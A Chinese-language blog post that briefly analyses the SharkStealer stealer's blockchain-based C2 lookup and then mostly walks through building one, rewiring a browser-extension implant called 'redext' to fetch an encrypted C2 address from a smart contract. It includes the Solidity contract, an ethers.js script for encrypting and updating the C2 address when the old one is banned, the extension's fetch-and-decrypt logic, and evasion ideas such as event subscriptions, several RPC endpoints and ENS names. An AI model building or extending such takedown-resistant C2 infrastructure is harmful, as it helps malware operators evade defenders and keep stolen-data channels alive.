使用Hardhat与eth_call实现动态配置c2

Posted by Closure on November 15, 2025

SharkStealer

SharkStealer利用EtherHiding解析实际C2服务器地址的流程,完全绕过了传统的dns而是用区块链作为中间层。

恶意软件在电脑执行后,立刻建立与一个公共BSC Testnet RPC端点的连接,文章里分析确认的具体地址为data-seed-prebsc-2-s1.binance.org:8545,可见是一个合法的公共RPC服务器,然后构造并发送eth_call请求。

JSON-RPC请求示例

{
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [
    {
      "to": "0x3dd7a9c28cfedf1c462581eb7150212bcf3f9edf",
      "data": "0x24c12bf6"
    },
    "latest"
  ]
}

这些被调用的智能合约充当了加密数据存储库的角色,收到上述eth_call查询时,被调用的函数会返回一个元tuple,其中包含一个IV和一个加密的payload。

恶意软件在获取到包含IV和加密payload的响应后,使用一个硬编码在二进制文件中的 AES-CFB密钥,结合之前从链上获取的 IV对payload进行本地解密,最终提取出实际的C2地址。

eth节点的交互一个是可见操作eth_sendTransaction,这个是改变区块链的状态且公开和需要gas以及永久的。一个是隐形eth_call,它是读取区块链的状态or模拟一次执行,这种交互是私有的 免费的且短暂的。

eth_call是一个RPC方法 ,在接收请求的单个节点的EVM内部执行智能合约代码,是一个本质上是一次模拟的只读操作,在eth_call执行过程中发生的任何状态变更都会在调用结束后立即被丢弃,区块链的实际状态永远不会被修改。

就是Solidity中的view和pure函数的工作原理 ,也是DApp界面用来Dry-run交易来估算Gas或者检测潜在回滚的机制 。

也就是eth_call无广播、无Mempool、无矿工、无gas、同步返回

改redext硬编码c2

参考上述思路改一下之前写的扩展,因为原始项目的c2直接嵌在Python脚本里面,全部都是硬编码毫无抗分析可言(

需要构建一个自定义的Node服务器作为中间件来方便插件能够通信,然后再由服务器将请求转发给Hardhat节点。⬅️这种架构是是错误的。

因为npx hardhat node命令启动的进程本身就是功能完备的后端服务器,Hardhat节点暴露了JSON-RPC接口,这个接口专门设计用于被像ethers 小狐狸钱包这种Web3客户端直接使用的,所以http.createServer的相关信息在功能上冗余的。

做了四层:

  • 后端,本地Hardhat节点
  • 已部署到我们Hardhat节点的Solidity 合约
  • 通信层是Ethers.js 库 ,用于在我们的插件中格式化和发送JSON-RPC请求到Hardhat节点。
  • 前端,魔改之后的redext插件,在background.js服务工作线程中运行。

Hardhat

用的2.0版本

合约

然后写个Ownable存储合约,三个private状态变量:storedUint、c2地址、owner。构造函数 在部署时运行constructor,将部署合约的钱包地址设置为owner变量 。

setC2Address是public的,用的onlyOwner修改器,只有我们才能成功调用它来设置c2地址。

pragma solidity ^0.8.0;

contract SimpleStorage {
    uint256 private storedUint;
    string private c2Address;
    address private owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function.");
        _;
    }

    function setUint(uint256 x) public {
        storedUint = x;
    }

    function getUint() public view returns (uint256) {
        return storedUint;
    }

    function setC2Address(string memory _str) public onlyOwner {
        c2Address = _str;
    }

    function getC2Address() public view returns (string memory) {
        return c2Address;
    }
}

remix

链一下本地的

 合约地址有了

Remix 作为JSON-RPC客户端,现在已经有了一个正在运行的节点和一个部署在上面的实时合约了

Hardhat项目目录打开一个新的终端窗口来安装 ethers 库,在项目根目录创建interact.js,搓了个简单逻辑的。

控制权在我代码里,const privateKey = “0xac09…“是唯一有权写入的人,只有拥有这个私钥的signer才能成功调用。 *const tx = awaitcontract.setC2Address(newC2Address);: * 当我的的旧C2被ban了之后运行这个脚本就可以传入一个新的。

const { ethers } = require("ethers");
const fs = require('fs');
const path = require('path');

const providerUrl = "http://127.0.0.1:8545";

const contractAddress = "0xd9145CCE52D386f254917e481eB44e9943F39138";

const privateKey = "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80";

const artifactPath = path.resolve(__dirname, 'artifacts/contracts/SimpleStorage.sol/SimpleStorage.json');
const artifact = JSON.parse(fs.readFileSync(artifactPath, 'utf8'));
const contractAbi = artifact.abi;

async function main() {
    const provider = new ethers.JsonRpcProvider(providerUrl);

    const signer = new ethers.Wallet(privateKey, provider);

    const contract = new ethers.Contract(contractAddress, contractAbi, signer);

    console.log("Connection successful!");
    console.log(`Contract Address: ${contract.target}`);
    console.log(`Signer Address: ${signer.address}`);
    console.log("------------------------------------");

    try {
        console.log("Reading initial C2 address...");
        const initialC2Address = await contract.getC2Address();
        console.log(`Initial C2 Address: "${initialC2Address}"`);
        console.log("------------------------------------");

        const newC2Address = "https://example.com/new-c2-path";
        console.log(`Setting new C2 address to: "${newC2Address}"...`);

        const tx = await contract.setC2Address(newC2Address);
        
        await tx.wait(); 
        
        console.log("Transaction confirmed!");
        console.log(`Transaction Hash: ${tx.hash}`);

        console.log("Reading updated C2 address");
        const updatedC2Address = await contract.getC2Address();
        console.log(`Updated C2 Address: "${updatedC2Address}"`);

    } catch (error) {
        console.error("Error interacting with contract:", error);
    }
}

main().catch(error => {
    console.error("Error executing script:", error);
    process.exit(1);
});

改原始扩展代码

接下来就是准备ethers.js并将保存到扩展的目录里面,然后在 manifest.json 中引用包含 ethers.min.js。

第二步是改background.js,因为我已经有了合约地址和 ABI。

ethers.js

 从CDN下载的

interact.js

fetchC2ServerAddressFromChain()函数内部改成包含如下逻辑:

  • 连接Provider: const provider = new ethers.JsonRpcProvider(“http://127.0.0.1:8545/”);
  • 定义合约信息: const contractAddress = “”; const contractABI = […];
  • 创建合约实例: const contract = new ethers.Contract(contractAddress, contractABI, provider);
  • 调用合约: const encryptedC2 = await contract.getC2Address();

现在的interact.js是我本地Mac终端中运行的管理脚本,目的是作为合约所有者来更新存储在区块链上的C2地址。

新增的简单加密逻辑用Node.js的AES-128-CBC算法来加密地址,然后将加密后的数据输出为Base64字符串。

主执行是用signer来实例化合约new ethers.Contract(contractAddress, contractAbi, signer)。因为signer被传入所以这个contract实例是可写的。

加密:const encryptedC2 = encrypt(plainTextC2);

写入:const tx = await contract.setC2Address(encryptedC2);`

创建一个交易,使用我之前写的privateKey发送到Hardhat 节点。

交易的内容是调用SimpleStorage合约的setC2Address函数,参数为加密后的Base64 字符串。

background.js

现在改为了在扩展时作为客户端去读取区块链上的C2地址,解密它,然后用它来初始化通信。

它定义了相同的RPC_URL和CONTRACT_ADDRESS。

Provider的创建:

const provider = new ethers.providers.JsonRpcProvider(RPC_URL);

const contract = new ethers.Contract(CONTRACT_ADDRESS, CONTRACT_ABI, provider);

这里只传入了provider,没有传入signer,所以这个contract 实例是只读的,只能调用合约上的view pure函数,不能发送交易 修改状态。

C2获取逻辑

读取const encryptedC2 = await contract.getC2Address();

这一行向Hardhat节点进行RPC调用,因为它是一个view函数,所以不消耗Gas并且是即返的。

本地测试

启动一下本地区块链 看到账户地址

然后将我们的SimpleStorage合约部署到刚刚启动的区块链上,运行npx hardhat ignition deploy ignition/modules/SimpleStorage.js –network localhost

如图 ,再复制这个新合约地址放进之前写的里面。 启动redext c2

回到终端运行node interact.js成功、

刷新扩展已经能看到成功读取了

虽然c2地址是加密的,但是高频率的eth_call 请求可能会成为一个行为指纹(

优化思路是用Events而不是现在的状态存储,改成调用一个函数来发出一个事件,并将加密的地址放在事件的数据中。植入体则不使用 eth_call轮询,换成订阅合约的事件日志。

现在其实还是依赖于一个硬编码的RPC URL和合约地址,如果RPC节点被ban就会失联。除了搞多点RPC列表,可以将合约地址注册到一个.eth域名下(?